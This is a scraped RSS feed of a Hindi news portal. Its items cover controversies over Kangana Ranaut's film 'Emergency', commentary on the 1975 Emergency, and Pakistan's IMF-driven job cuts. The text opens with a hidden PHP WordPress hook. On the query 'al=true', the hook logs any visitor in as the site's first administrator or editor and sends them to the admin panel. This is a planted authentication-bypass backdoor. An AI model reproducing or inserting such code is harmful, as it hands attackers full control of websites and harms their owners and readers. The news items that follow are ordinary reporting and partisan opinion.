// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); emergency – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 08 Jan 2025 14:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 कंगना रनौत ने प्रियंका गांधी वाड्रा से अपनी अगली फिल्म ‘इमरजेंसी’ देखने का अनुरोध किया, प्रियंका ने दिया जवाब https://pratyushaashakinayikiran.com/?p=118795 Wed, 08 Jan 2025 14:45:00 +0000 https://pratyushaashakinayikiran.com/?p=118795 मुंबई
फिल्म अभिनेत्री और हिमाचल प्रदेश की मंडी सीट से लोकसभा सांसद कंगना रनौत ने कांग्रेस सांसद प्रियंका गांधी वाड्रा से अपनी अगली फिल्म 'इमरजेंसी' देखने का अनुरोध किया है। इस फिल्म में कंगना भूतपूर्व प्रधानमंत्री और प्रियंका गांधी की दादी इंदिरा गांधी का रोल निभा रही हैं। यह फिल्म रिलीज होने से पहले विवादों में घिर चुकी हैं। इसका मामला बॉम्बे हाईकोर्ट तक पहुंचा था। अब 16 जनवरी को इसे रिलीज किया जाना है।

कंगना रनौत ने संसद में प्रियंका गांधी से मुलाकात के दौरान इस फिल्म के बारे में बात की और बताया कि उन्होंने प्रियंका को फिल्म देखने के लिए कहा है। कंगना ने इस मुलाकात का जिक्र करते हुए कहा, "मैंने प्रियंका गांधी जी से संसद में मुलाकात की और सबसे पहली बात जो मैंने उनसे कही वह यह थी कि 'आपको इमरजेंसी देखनी चाहिए।' प्रियंका जी बहुत विनम्र थीं और उन्होंने कहा, 'हां, शायद।' मैंने कहा, 'आपको यह जरूर पसंद आएगी।'" कंगना रनौत ने यह भी कहा कि उन्होंने इंदिरा गांधी के किरदार को बहुत ही संवेदनशीलता और सम्मान के साथ निभाने की कोशिश की है। उन्होंने कहा, “मुझे लगता है कि यह एक बहुत ही संवेदनशील और समझदारी से किया गया चित्रण है, जिसमें एक व्यक्तित्व और एक ऐतिहासिक घटना को पूरी इज्जत के साथ दर्शाया गया है।”

कंगना ने कहा, "मेरे शोध के दौरान, मैंने देखा कि बहुत सारा ध्यान उनके व्यक्तिगत जीवन पर दिया गया था। उनके पति, दोस्तों और विवादास्पद रिश्तों पर। मैंने खुद से सोचा कि एक व्यक्ति में इससे कहीं अधिक होता है। मैंने विशेष ध्यान रखा कि मैं इन पहलुओं में न जाऊं। जब बात महिलाओं की होती है तो उन्हें हमेशा पुरुषों के साथ उनके रिश्तों या सनसनीखेज घटनाओं तक ही सीमित कर दिया जाता है।"

आपको बता दें कि इमरजेंसी फिल्म 1975 में इंदिरा गांधी द्वारा भारत में घोषित आपातकाल की स्थिति पर आधारित है। कंगना रनौत ने इस फिल्म का निर्देशन किया है और वह मुख्य भूमिका में हैं। इस फिल्म में अनुपम खेर और श्रेया तलपड़े भी महत्वपूर्ण भूमिकाओं में नजर आएंगे। इमरजेंसी फिल्म 17 जनवरी 2025 को सिनेमाघरों में रिलीज होगी।

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पडोसी देश में ऐसा संकट कि 6 मंत्रालय ही बंद और डेढ़ लाख नौकरियां खत्म, पर मुसीबत जारी https://pratyushaashakinayikiran.com/?p=77937 Tue, 01 Oct 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=77937  इस्लामाबाद

पड़ोसी देश पाकिस्तान ऐसे आर्थिक संकट में घिर गया है कि अब उसने डेढ़ लाख सरकारी नौकरियां समाप्त कर दी हैं। इसके अलावा 6 मंत्रालयों को ही भंग कर दिया है। ऐसा इसलिए किया गया है ताकि सरकारी खर्च को रोका जा सके। यही नहीं दो मंत्रालयों का अन्य विभागों के साथ विलय कर दिया गया है। आईएमएफ से 7 अरब डॉलर की लोन डील के तहत पाकिस्तान सरकार ने ये कदम उठाए हैं। पाकिस्तान लगातार संकट के दौर से गुजर रहा है और आईएमएफ से लोन की एक किस्त मिलने के बाद भी उसका संकट समाप्त नहीं हुआ है। अब वह एक और राउंड का लोन लेने के लिए जुगत भिड़ा रहा है।

आईएमएफ ने पाकिस्तान के लिए मंजूर लोन की पहली किस्त 26 सितंबर को जारी की थी। इसके तहत 1 अरब डॉलर का पैकेज घोषित किया गया है। आईएमएफ ने इसके साथ ही पाकिस्तान सरकार को आदेश दिया है कि वह अपने खर्च घटाएं, टैक्स में इजाफा करे, कृषि और रियल एस्टेट जैसे सेक्टरों में पर भी टैक्स लगाया जाए। इसके अलावा सब्सिडी खत्म की जाए और कुछ योजनाओं को भी सीमित किया जाए। अमेरिका से लौटे पाकिस्तानी वित्त मंत्री मोहम्मद औरंगजेब ने कहा कि आईएमएफ के साथ डील हो गई है। यह हमारी आखिरी डील होगी।

हमें इसके तहत कुछ नीतियों को लागू करना होगा। उन्होंने कहा कि इसी के तहत हम सरकारी खर्चों में भी कटौती कर रहे हैं। 6 मंत्रालयों को बंद किया जाएगा और दो का विलय किया जाएगा। इसके अलावा अलग-अलग मंत्रालयों के डेढ़ लाख सरकारी पदों को समाप्त किया जाएगा। उन्होंने कहा कि हम टैक्स में भी इजाफे के प्रयास करेंगे। बीते साल 3 लाख अतिरिक्त टैक्सपेयर जुड़े हैं।

इस साल अब तक 7 लाख से ज्यादा नए टैक्सपेयर जुड़ चुके हैं। उन्होंने कहा कि टैक्स के नियमों को सख्त किया जाएगा। जो लोग टैक्स नहीं भरेंगे, उन्हें संपत्ति और वाहन खरीदने की परमिशन नहीं होगी। औरंगजेब ने कहा कि पाकिस्तान को यदि जी-20 का हिस्सा बनना है तो फिर अर्थव्यवस्था को मजबूत करना होगा। उन्होंने कहा कि अब तो हमारा एक्सपोर्ट भी बढ़ रहा है।

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सेंसर बोर्ड से ‘इमरजेंसी’ को मिली राहत, इन बदलावों के साथ रिलीज हो सकेगी कंगना रनौत की फिल्म https://pratyushaashakinayikiran.com/?p=67749 Sun, 08 Sep 2024 16:08:00 +0000 https://pratyushaashakinayikiran.com/?p=67749 मुंबई

कंगना रनौत की अपकमिंग फिल्म 'इमरजेंसी' को सेंसर बोर्ड से बड़ी राहत मिल गई है. भारी विवाद के बीच सेंसर बोर्ड ने फिल्म को यूए सर्टिफिकेशन दे दिया है. अब 'इमरजेंसी' जल्द सिनेमाघरों में दस्तक दे सकती है लेकिन इसके लिए मेकर्स को पहले फिल्म में सीबीएफसी के सुझाए गए कट्स और बदलाव करने होंगे.

द संडे एक्सप्रेस के मुताबिक 'इमरजेंसी' को लेकर सेंसर बोर्ड तीन कट सुझाए हैं. बताया जा रहा है कि मेकर्स ने 8 जुलाई को ही सर्टिफिकेशन के लिए फिल्म को सेंसर बोर्ड में जमा किया था. इसके एक महीने बाद शिरोमणि अकाली दल और कई सिख संगठनों फिल्म पर बैन लगाने की मांग करने लगे. ऐसे में सीबीएफसी ने लेटर के जरिए फिल्म के प्रोडक्शन हाउस को 10 कट और बदलाव सुझाए थे.

फिल्म से हटाने होंगे ये विजुअल्स
'इमरजेंसी' के प्रोडक्शन हाउस मणिकर्णिका फिल्म्स प्राइवेट लिमिटेड ने सीबीएफसी के सुझाए 10 में से 9 सजेशन्स पर हामी भरी थी. सेंसर बोर्ड ने फिल्म से एक सीन में कुछ विजुअल्स को हटाने या बदलने की सलाह भी दी है. इस सीन में पाकिस्तानी सैनिकों को बांग्लादेशी शरणार्थियों पर हमला करते हुए दिखाया गया है. इसमें दिखाया गया है कि एक सैनिक एक बच्चे का सिर काट रहा है और दूसरा तीन महिलाओं का सिर काट रहा है.

इन चीजों को बदलने की भी दी गई सलाह
सीबीएफसी ने 'इमरजेंसी' के मेकर्स को फिल्म में एक नेता की मौत के जवाब में भीड़ में से किसी के अपशब्द बोलने को बदलने के लिए भी कहा था. बोर्ड ने फिल्म में एक डायलॉग में इस्तेमाल किए गए सरनेम को बदलने का भी निर्देश दिया था. इसके अलावा सीबीएफसी ने फिल्म में दिखाए गए रिसर्च रिफ्रेंस और डेटा के लिए फैक्चुअल सोर्स के बारे में बताने की भी सलाह दी है. इसमें बांग्लादेशी शरणार्थियों की जानकारी, अदालती फैसलों की डिटेल और 'ऑपरेशन ब्लूस्टार' के आर्काइवल फुटेज के इस्तेमाल किए जाने की इजाजत शामिल है.

जल्द सामने आ सकती है 'इमरजेंसी' की नई रिलीज डेट
बता दें कि कंगना रनौत की 'इमरजेंसी' पहले 6 सितंबर को रिलीज होने वाली थी. लेकिन फिल्म को लेकर हुए हंगामे के बाद इसे सेंसर बोर्ड से सर्टिफिकेशन नहीं मिला और रिलीज टल गई. अब सेंसर बोर्ड से क्लियरेंस मिलने के बाद उम्मीद है कि मेकर्स जल्द ही 'इमरजेंसी' की नई रिलीज डेट अनाउंस होगी.

कंगना की ‘इमरजेंसी’ को मिली हरी झंडी

सेंट्रल बोर्ड ऑफ फिल्म सर्टिफिकेशन ने कंगना की फिल्म ‘इमरजेंसी’ के निर्माताओं से विवादित ऐतिहासिक बयानों का सोर्स मांगा है, जिनमें पूर्व राष्ट्रपति रिचर्ड निक्सन द्वारा भारतीय महिलाओं के बारे में की गई अपमानजनक टिप्पणी और विंस्टन चर्चिल द्वारा भारतीयों को 'खरगोशों की तरह प्रजनन करने वाले' कहने वाली टिप्पणी भी शामिल हैं. निर्माताओं को इन दोनों बयानों का सार्स CBFC को देना होगा. मेकर्स ने जुलाई में फिल्म को सर्टिफिकेशन के लिए जमा किया था और 8 अगस्त को सीबीएफसी ने फिल्म में 3 कट और 10 बदलाव करने को कहा था.

3 कट और 10 बदलाव के बाद रिलीज होगी फिल्म

सीबीएफसी ने मणिकर्णिका फिल्म्स प्राइवेट लिमिटेड को खत भेजकर ‘यूए’ सर्टिफिकेट के लिए 10 जरूरी बदलावों की लिस्ट दी थी. बोर्ड ने सुझाव दिया कि फिल्म के उस सीन को हटा या बदल दिया जाए, जिसमें पाकिस्तानी सैनिक बांग्लादेशी शरणार्थियों पर हमला करते हैं. खासकर जहां एक सैनिक एक नवजात बच्चे और तीन महिलाओं के सिर काट देता है. सीबीएफसी के 8 अगस्त के पत्र के बाद, सूत्रों के मुताबिक, फिल्म निर्माताओं ने 14 अगस्त को जवाब दिया और उसी दिन फिल्म का ट्रेलर भी रिलीज किया गया. बताया जा रहा है कि फिल्ममेकर्स ने एक कट को छोड़कर बाकी सभी बदलावों पर सहमति दे दी है.

18 सितंबर तक होगा सर्टिफिकेट पर फैसला

29 अगस्त को फिल्म निर्माताओं को एक ईमेल मिला जिसमें कहा गया कि उनकी फिल्म को ‘UA’ सर्टिफिकेट मिल गया है, लेकिन असल में कोई सर्टिफिकेट जारी नहीं किया गया. सर्टिफिकेट न मिलने के बाद 'इमरजेंसी' फिल्म के मेकर्स ने बॉम्बे हाई कोर्ट का दरवाजा खटखटाया. कोर्ट में, सीबीएफसी के वकील ने बताया कि फिल्म निर्माताओं की 14 अगस्त की प्रतिक्रिया के रिव्यू के लिए एक नई बैठक अभी तक नहीं बुलाई गई है. इसलिए सर्टिफिकेट नहीं मिल पाया. बॉम्बे हाई कोर्ट ने सीबीएफसी को 18 सितंबर तक सर्टिफिकेट पर फैसला लेने का समय दिया है. 

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कंगना रनौत को मूवी ‘इमरजेंसी’ के लिए मध्यप्रदेश हाईकोर्ट ने नोटिस जारी किया https://pratyushaashakinayikiran.com/?p=65305 Mon, 02 Sep 2024 17:26:00 +0000 https://pratyushaashakinayikiran.com/?p=65305 जबलपुर
बॉलीवुड एक्ट्रेस और हिमाचल प्रदेश के मंडी लोकसभा सीट से बीजेपी सांसद कंगना रनौत को मूवी 'इमरजेंसी' के लिए मध्यप्रदेश हाईकोर्ट ने नोटिस जारी किया है। इसके अलावा, मणिकर्णिका प्रोडक्शन, केंद्र सरकार, राज्य सरकार, सेंसर बोर्ड समेत इससे जुड़े पक्षकारों को भी नोटिस जारी।सुनवाई के दौरान जो पक्षकार मौजूद नहीं उन्हें इलेक्ट्रॉनिक मोड से हमदस नोटिस जारी करने के निर्देश।

फिल्म की रिलीज से पूर्व ही देशभर का सिख समुदाय आक्रोशित

याचिका में इस तथ्य का उल्लेख किया गया है कि इमरजेंसी फिल्म की रिलीज से पूर्व ही देशभर का सिख समुदाय आक्रोशित हो गया है। राष्ट्रपति व प्रधानमंत्री के नाम ज्ञापनों की भरमार हो गई है। जिनमें आरोप लगाया गया है कि फिल्म में सिख समुदाय को गलत तरीके से चित्रित करने की आशंका है। इसीलिए पंजाब हरियाणा हाई कोर्ट में भी याचिका दायर कर रिलीज रोकने पर बल दिया गया है।

फ़िल्म के ट्रेलर में सिख समुदाय को क्रूर दिखाया

याचिकाकर्ता का तर्क फ़िल्म के ट्रेलर में सिख समुदाय को क्रूर दिखाया गया है इससे सिख समुदाय के लिए समाज में ग़लत छवि बनेगी। याचिका की सुनवाई के दौरान हाई कोर्ट की बड़ी टिप्पणी-"सिख कम्युनिटी ने कोरोना काल के दौरान आगे आकर सेवा की है। मैंने दिल्ली में देखा है गुरुद्वारों में ऑक्सीजन से लेकर खाना उपलब्ध कराया है। कोरोना काल में सिख समुदाय सेवा करने में सबसे आगे था। कल सुबह फिर होगी मामले पर सुनवाई।

याचिकाकर्ता का तर्क- सिख समुदाय की गलत छवि बनेगी

याचिकाकर्ता ने कोर्ट के सामने तर्क रखा कि फिल्म के ट्रेलर में सिख समुदाय को क्रूर दिखाया गया है। इससे सिख समुदाय की समाज में गलत छवि बनेगी। फिल्म में चार सिख हिंदुओं को गोली से भूनते दिखाए गए हैं। वे वी वांट खालिस्तान, सानू खालिस्तान चाहिए… यह सब कह रहे हैं। सिखों का रूप वीभत्स और खतरनाक बताया है, यह पूरी तरह से गलत है।

दरअसल, इंदौर के सरदार मंजीत सिंह भाटिया और जबलपुर के सरदार मनोहर सिंह की ओर से याचिका दायर की गई थी। याचिका में हाईकोर्ट को बताया कि इस फिल्म को लेकर पूरे देश के सिख समाज के लोग दुखी हैं। यह भी मांग की गई है कि रिलीज से पहले इस फिल्म को इंदौर और जबलपुर के सिख पदाधिकारियों को दिखाई जाए।

भाजपा के पूर्व मंत्री ने भेजा लीगल नोटिस

भाजपा नेता हरेंद्रजीत सिंह बब्बू ने कंगना रनौत को शनिवार को लीगल नोटिस भेजा था। इसमें नसीहत दी कि वो सांसद की जिम्मेदारी निभाएं और पद की गरिमा भी बनाए रखें। बब्बू ने पीएम मोदी और सीएम डॉ. मोहन यादव से मांग की है कि कंगना की फिल्म इमरजेंसी की रिलीज पर रोक लगाई जाए। फिल्म में सिख समाज का गलत चित्रण किया गया है, जिससे देशभर में सिख समाज आक्रोशित है।

शुक्रवार को जबलपुर में हुआ था विरोध – प्रदर्शन

जबलपुर सिख संगत ने कंगना रनौत की फिल्म को विवादास्पद बताया था। शुक्रवार को सैकड़ों लोग रैली निकालकर कलेक्ट्रेट पहुंचे। यहां प्रधानमंत्री नरेंद्र मोदी के नाम कलेक्टर को ज्ञापन सौंपते हुए फिल्म पर रोक लगाने की मांग की। उन्होंने मुख्यमंत्री डॉ. मोहन यादव को भी पत्र लिखा है।

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‘इमरजेंसी’ पर विवाद, तेलंगाना में फिल्म पर बैन लगाने की तैयारी https://pratyushaashakinayikiran.com/?p=64077 Fri, 30 Aug 2024 12:46:00 +0000 https://pratyushaashakinayikiran.com/?p=64077 मुंबई

कंगना रनौत अभिनीत फिल्म ‘इमरजेंसी’ रिलीज से पहले ही मुश्किलों में फंसती नजर आ रही है। तेलंगाना के मुख्यमंत्री ए. रेवंत रेड्डी ने सिख समुदाय के नेताओं को भरोसा दिलाया है कि उनकी सरकार कानूनी सलाह लेने के बाद राज्य में कंगना रनौत अभिनीत फिल्म ‘इमरजेंसी’ पर प्रतिबंध लगाने पर विचार करेगी। रेड्डी सरकार के सलाहकार मोहम्मद अली शब्बीर ने इसकी जानकारी दी है।

दरअसल, भारतीय पुलिस सेवा (आईपीएस) की पूर्व अधिकारी तेजदीप कौर मेनन के नेतृत्व में तेलंगाना सिख सोसाइटी के एक प्रतिनिधिमंडल ने सचिवालय में शब्बीर से मुलाकात की। इस दौरान उन्होंने 'इमरजेंसी' की रिलीज पर रोक लगाने की मांग की। शब्बीर ने गुरुवार को बयान जारी कर बताया कि 18 सदस्यीय प्रतिनिधिमंडल ने फिल्म में सिख समुदाय के प्रदर्शन पर गहरी चिंता व्यक्त की है।

बयान के मुताबिक, प्रतिनिधिमंडल ने आरोप लगाया कि 'इमरजेंसी' में सिखों को आतंकी और राष्ट्र-विरोधी तत्व के रूप में दिखाया गया है। यह अपमानजनक  और समुदाय की छवि को ठेस पहुंचाने वाला है। शब्बीर ने मुख्यमंत्री से अपील की कि वह तेलंगाना में 'इमरजेंसी' के प्रदर्शन पर प्रतिबंध लगाने पर विचार करें। शब्बीर ने रेड्डी से मुलाकात के बाद बताया कि मुख्यमंत्री ने कहा है कि कानूनी सलाह लेने के बाद इस मुद्दे पर फैसला किया जाएगा।

सिखों को छवि को गलत दिखाने का आरोप
संगठन के प्रतिनिधियों ने आरोप लगाया है कि कंगना की फिल्म सिखों को 'आतंकवादी और एंटी-नेशनल' दिखाती है, और सिखों को इस तरह दिखाया जाना 'भावनाओं को आहत करता है' और उनकी छवि को नुकसान पहुंचाता है. प्रेस रिलीज में शब्बीर ने बताया कि मुख्यमंत्री ए. रेवंत रेड्डी ने सिख समुदाय के नेताओं को आश्वासन दिया है कि राज्य सरकार कानूनी सलाह ले रही है और कंगना रनौत की फिल्म 'इमरजेंसी' को बैन करने पर विचार कर रही है.

बता दें, 'इमरजेंसी' में कंगना, भारत की पूर्व प्रधानमंत्री इंदिरा गांधी का किरदार निभा रही हैं. फिल्म में लीड रोल करने के साथ-साथ कंगना इस फिल्म की प्रोड्यूसर और डायरेक्टर भी हैं. हाल ही में कंगना ने एक इंटरव्यू में कहा था कि 'सच्चाई दिखाने के मामले में' उनकी फिल्म की तुलना ऑस्कर विनिंग हॉलीवुड फिल्म 'ओपेनहाइमर' से की जा सकती है. 'इमरजेंसी' 6 सितंबर को थिएटर्स में रिलीज होगी.

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‘संविधान हत्या दिवस’ पर कांग्रेस ने उठाए सवाल, 50 साल बाद आपातकाल पर बहस का मतलब नहीं https://pratyushaashakinayikiran.com/?p=51202 Sun, 14 Jul 2024 13:50:00 +0000 https://pratyushaashakinayikiran.com/?p=51202 नई दिल्ली.

कांग्रेस नेता पी चिदंबरम ने संविधान हत्या दिवस, तीन नए आपराधिक कानून पर विपक्ष का हंगामा और नीट मुद्दे पर बात की। आपातकाल लागू किए जाने की तारीख 25 जून को हर वर्ष संविधान हत्या दिवस के रूप में मानने के केंद्र सरकार के फैसले पर उन्होंने कहा कि आपातकाल एक गलती थी, जिसे खुद इंदिरा गांधी ने स्वीकार किया था। मगर आज 50 साल बाद आपातकाल के सही और गलत होने पर बहस करने का क्या मतलब है?

भाजपा को अतीत भूल जाना चाहिए। दरअसल, 25 जून 1975 में तत्कालीन प्रधानमंत्री इंदिरा गांधी देश में इमरजेंसी लगा दी थी। इसी वजह से मोदी सरकार ने कांग्रेस को घेरने के लिए हर साल ‘संविधान हत्या दिवस’ मनाने का फैसला किया है। गृह मंत्री अमित शाह ने कहा कि इस दिन उन सभी महान लोगों के योगदान को याद किया जाएगा, जिन्होंने आपातकाल के अमानवीय दर्द को सहन किया था।

हमने अतीत से सबक सीखा
कांग्रेस नेता पी चिदंबरम ने कहा, 'भाजपा 17वीं या 18वीं शताब्दी में वापस क्यों नहीं जा रही है? आज कुल भारतीय आबादी में से 75 फीसदी ने 1975 के बाद जन्म लिया है। आपातकाल एक गलती थी और इसे इंदिरा गांधी ने खुद स्वीकार किया था। हमने संविधान में संशोधन किया है ताकि आपातकाल इतनी आसानी से लागू न किया जा सके। 50 साल बाद आपातकाल के सही और गलत होने पर बहस करने का क्या मतलब है? भाजपा को अतीत को भूल जाना चाहिए। हमने अतीत से सबक सीखा है।'

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आपातकाल : भारतीय लोकतंत्र के इतिहास का काला अध्याय https://pratyushaashakinayikiran.com/?p=45187 Tue, 25 Jun 2024 13:50:00 +0000 https://pratyushaashakinayikiran.com/?p=45187 डॉ. मोहन यादव
भारतीय लोकतंत्र के इतिहास में 25 जून 1975 को लागू किया आपातकाल एक काले अध्याय के रूप में जुड गया है। इस दिन भारत की तत्कालीन प्रधानमंत्री इंदिरा गांधी की सरकार ने आपातकाल के प्रावधानों के तहत हजारों विपक्षी नेताओं को गिरफ्तार कर जेल में डाल दिया था। भारतीय लोकतंत्र में कांग्रेस पार्टी आपातकाल के कलंक से कभी मुक्त नहीं हो सकती।

कांग्रेस शासन पर भ्रष्टाचार का आरोप लगाते हुए विपक्षी दलों द्वारा बड़े पैमाने पर विरोध प्रदर्शन के कारण देश की कानून व्यवस्था की स्थिति खराब होने का बहाना बनाते हुए इंदिरा गांधी सरकार ने आपातकाल लगाया था। इंदिरा गांधी ने तत्कालीन राष्ट्रपति फखरुद्दीन अली अहमद को 25 जून 1975 से 21 मार्च 1977 तक 21 महीने की अवधि के लिए हर छह महीने में आपातकाल लगाने के लिए कहा था।

आपातकाल के दौरान, इंदिरा गांधी ने खुद को सर्वशक्तिमान के रूप में स्थापित किया था। उन्होंने पार्टी के कुछ करीबी सदस्यों और अपने छोटे बेटे संजय गांधी के परामर्श से कई सारे निर्णय लिए जिसका भारत के सामाजिक तानेबाने पर दूरगामी प्रभाव पड़ा।
आपातकाल को अक्सर स्वतंत्र भारत के इतिहास में एक काला दौर माना जाता है। इस अवधि में बेलगाम सरकारी कैद, असहमति को दबाना और नागरिक स्वतंत्रता पर सरकारी दमन की घटनाएं हुईं। मानवाधिकारों के लगातार उल्लंघन और प्रेस पर दमनकारी हद तक सेंसरशिप की खबरें आती रहीं। आपातकाल के दौरान मौलिक अधिकारों के निलंबन को पर्यवेक्षकों और संवैधानिक विशेषज्ञों द्वारा चिंता के साथ याद किया जाता है।

दरअसल आपातकाल की बुनियाद 1967 के गोलकनाथ मामले से ही पड़ गई थी। गोलकनाथ मामले में सर्वोच्च न्यायालय ने कहा था कि यदि परिवर्तन मौलिक अधिकारों जैसे बुनियादी मुद्दों को प्रभावित करते हैं तो संसद द्वारा संविधान में संशोधन नहीं किया जा सकता है। इसके बाद इस निर्णय को निष्प्रभावी करने के लिए, सरकार ने 1971 में 24वाँ संशोधन पारित किया। सर्वोच्च न्यायालय में सरकार द्वारा तत्कालीन राजकुमारों को दिए गए प्रिवी पर्स के मामले में भी इंदिरा गांधी की किरकिरी हुई थी।

न्यायपालिका-कार्यपालिका की यह लड़ाई ऐतिहासिक केशवानंद भारती मामले में जारी रही, जहां 24वें संशोधन पर सवाल उठाया गया था। 7-6 के मामूली बहुमत के साथ, सर्वोच्च न्यायालय की पीठ ने संसद की संशोधन शक्ति को यह कहते हुए प्रतिबंधित कर दिया कि इसका उपयोग संविधान के "मूल ढांचे" को बदलने के लिए नहीं किया जा सकता है। इंदिरा गांधी को यह नागवार लगा और उन्होंने केशवानंद भारती मामले में अल्पमत में शामिल लोगों में सबसे वरिष्ठ न्यायाधीश ए.एन. रे को भारत का मुख्य न्यायाधीश बनाया।

न्यायपालिका को नियंत्रित करने की इंदिरा गांधी की प्रवृत्ति की प्रेस और जयप्रकाश नारायण ("जेपी") जैसे राजनीतिक विरोधियों ने कड़ी आलोचना की। जयप्रकाश नारायण ने देश में घूम-घूम कर इंदिरा सरकार के खिलाफ रैलियां की और कुछ राज्यों में छात्रों ने आंदोलन भी किये।

इस बीच, सार्वजनिक नेताओं पर हत्या के प्रयास हुए और साथ ही तत्कालीन केन्द्रीय रेल मंत्री ललित नारायण मिश्रा की बम से हत्या कर दी गई। इन सभी बातों से पूरे देश में कानून और व्यवस्था की समस्या बढ़ने का संकेत मिलने लगा, जिसके बारे में इंदिरा गांधी के सलाहकारों ने उन्हें महीनों तक चेतावनी दी थी। इसके बाद मामले को हाथ से निकलता देख इंदिरा गांधी ने देश में आपातकाल लगाने का फैसला किया। कांग्रेस पार्टी का यह फैसला देश की लोकतंत्र के लिए घातक सिद्ध हुआ और इसे एक काला दिन के रूप में याद किया जाने लगा।

18 वीं लोकसभा के पहले दिन प्रधानमंत्री नरेंद्र मोदी ने आपातकाल को लेकर कांग्रेस पर तीखा हमला किया और आपातकाल की घोषणा को भारत के लोकतंत्र पर एक "काला धब्बा" बताया। 18वीं लोकसभा के पहले सत्र से पहले मीडिया को संबोधित करते हुए देश के यशस्वी प्रधानमंत्री नरेन्द्र मोदी जी ने कहा, "कल 25 जून है। 25 जून को भारत के लोकतंत्र पर लगे उस कलंक के 50 साल हो रहे हैं। भारत की नई पीढ़ी कभी नहीं भूलेगी कि भारत के संविधान को पूरी तरह से नकार दिया गया था, संविधान के हर हिस्से की धज्जियां उड़ा दी गई थीं, देश को जेलखाना बना दिया गया और लोकतंत्र को पूरी तरह से दबा दिया गया था।" उन्होंने कहा, "अपने संविधान की रक्षा करते हुए, भारत के लोकतंत्र की, लोकतांत्रिक परंपराओं की रक्षा करते हुए, देशवासी यह संकल्प लेंगे कि भारत में फिर कोई ऐसा करने की हिम्मत नहीं करेगा जो 50 साल पहले किया गया था। हम एक जीवंत लोकतंत्र का संकल्प लेंगे। हम भारत के संविधान के निर्देशों के अनुसार आम लोगों के सपनों को पूरा करने का संकल्प लेंगे।"

18वीं लोकसभा के चुनाव की घोषणा होने के बाद कांग्रेस पार्टी के प्रमुख मुद्दों में से एक संविधान बचाने का मुद्दा था। जिसे पार्टी आज भी जोर शोर से उठा रही है। विडंबना ये है कि जिस कांग्रेस ने संविधान में सैकड़ों संशोधन किए, उसके मूल ढांचे में संशोधन किए वह पार्टी आज संविधान बचाने की बात कर रही है। जिस भारतीय जनता पार्टी की पूरी राजनीति संविधान में दिए गए प्रावधान के तहत समाज के गरीबों, महिलाओं, वंचितों और दलितों की उत्थान के लिए है आज उस बीजेपी पर संविधान की दुर्दशा करने वाली कांग्रेस पार्टी आरोप लगा रही है।

देश के महानायक प्रधानमंत्री  मोदी ने अपने संबोधन में कई बार इस बात का जिक्र किया है कि भारत की आत्मा बाबा साहब भीमराव अंबेडकर के संविधान में बसती है और इसे संसद भी नहीं बदल सकता। इसके बाद भी कांग्रेस पार्टी द्वारा गलत अवधारणा फैला कर जनता को बरगलाने का काम किया जा रहा है। लोकसभा चुनावों में जनता कांग्रेस और उनके साथियों के झांसे में आ गई थी, लेकिन विपक्षी पार्टियों की काठ की यह हांडी बार बार नहीं चढ़ेगी।
(लेखक मध्यप्रदेश के मुख्यमंत्री है)

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आज भी नहीं गई आपातकाल वाली मानसिकता … इमरजेंसी के 50 वर्ष पर पीएम ने कांग्रेस को पानी-पानी कर दिया https://pratyushaashakinayikiran.com/?p=45141 Tue, 25 Jun 2024 12:46:00 +0000 https://pratyushaashakinayikiran.com/?p=45141 नई दिल्ली
प्रधानमंत्री नरेंद्र मोदी ने एक बार फिर आपातकाल को लेकर कांग्रेस को घेरा है। इमरजेंसी के 50 वर्ष पर प्रधानमंत्री ने बैक टू बैक चार ट्वीट किए। उन्होंने कांग्रेस पर करारा अटैक करते हुए कहा कि जिन्होंने आपातकाल लगाया, उन्हें हमारे संविधान के प्रति प्यार के इजहार का कोई अधिकार नहीं है। पीएम मोदी ने ट्वीट में लिखा, 'जिस मानसिकता के कारण आपातकाल लगाया गया, वह उसी पार्टी में बहुत ज्यादा जीवित है जिसने इसे लगाया था। वे अपने दिखावे के जरिए संविधान के प्रति अपने तिरस्कार को छिपाते हैं, लेकिन भारत के लोगों ने उनकी हरकतों को समझ लिया है और इसीलिए उन्होंने उन्हें बार-बार नकार दिया है।

बैक टू बैक चार ट्वीट से कांग्रेस पर वार

पीएम मोदी ने एक्स पर पोस्ट में लिखा, 'आज का दिन उन सभी महान पुरुषों और महिलाओं को श्रद्धांजलि देने का दिन है जिन्होंने आपातकाल का विरोध किया। #DarkDaysOfEmergency हमें याद दिलाता है कि कैसे कांग्रेस पार्टी ने बुनियादी स्वतंत्रताओं को खत्म किया और भारत के संविधान को रौंद दिया, जिसका हर भारतीय बहुत सम्मान करता है।

पीएम मोदी ने बताया क्यों कांग्रेस को नकार रहे लोग

पीएम मोदी ने आगे कहा कि जिस मानसिकता के कारण आपातकाल लगाया गया, वह उसी पार्टी में बहुत ज्यादा जीवित है जिसने इसे लगाया था। वे अपने दिखावे के जरिए संविधान के प्रति अपने तिरस्कार को छिपाते हैं, लेकिन भारत के लोगों ने उनकी हरकतों को समझ लिया है और इसीलिए उन्होंने उन्हें बार-बार नकार दिया है। जिन्होंने आपातकाल लगाया, उन्हें हमारे संविधान के प्रति अपने प्रेम का इजहार करने का कोई अधिकार नहीं है। ये वही लोग हैं जिन्होंने अनगिनत मौकों पर आर्टिकल 356 लगाया, प्रेस की आजादी को खत्म करने वाला विधेयक पारित किया, संघवाद को नष्ट किया और संविधान के हर पहलू का उल्लंघन किया।

'आपातकाल के काले दिन बताते हैं कांग्रेस क्या-क्या कर सकती है'

पीएम मोदी ने कहा कि सिर्फ सत्ता पर काबिज रहने के लिए तत्कालीन कांग्रेस सरकार ने हर लोकतांत्रिक सिद्धांत की अवहेलना की और देश को जेल बना दिया। कांग्रेस से असहमत होने वाले हर व्यक्ति को प्रताड़ित और परेशान किया जाता था। सबसे कमजोर वर्गों को निशाना बनाने के लिए सामाजिक रूप से प्रतिगामी नीतियां लागू की गईं। आपातकाल के काले दिन हमें बताते हैं कि सत्ता के लिए कांग्रेस क्या-क्या कर सकती है।

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